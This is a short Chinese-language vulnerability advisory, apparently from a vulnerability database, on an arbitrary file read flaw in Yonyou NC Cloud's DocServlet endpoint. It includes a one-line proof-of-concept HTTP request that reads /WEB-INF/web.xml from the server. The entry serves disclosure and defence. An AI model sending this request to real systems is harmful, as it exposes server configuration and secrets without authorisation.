用友NC DocServlet 接口存在任意文件读取漏洞

2023-11-21 用友NC PoC Public

Description

NC Cloud是一款大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现 人、财、物、客的全面数字化，其nc.uap.lfw.file.action.DocServlet 存在任意文件读取漏洞

PoC

GET /servlet/~webrt/nc.uap.lfw.file.action.DocServlet?disp=/WEB-INF/web.xml HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/ccb7f58c-ef27-49c0-a179-5e0ed9137000

References

Related Vulnerabilities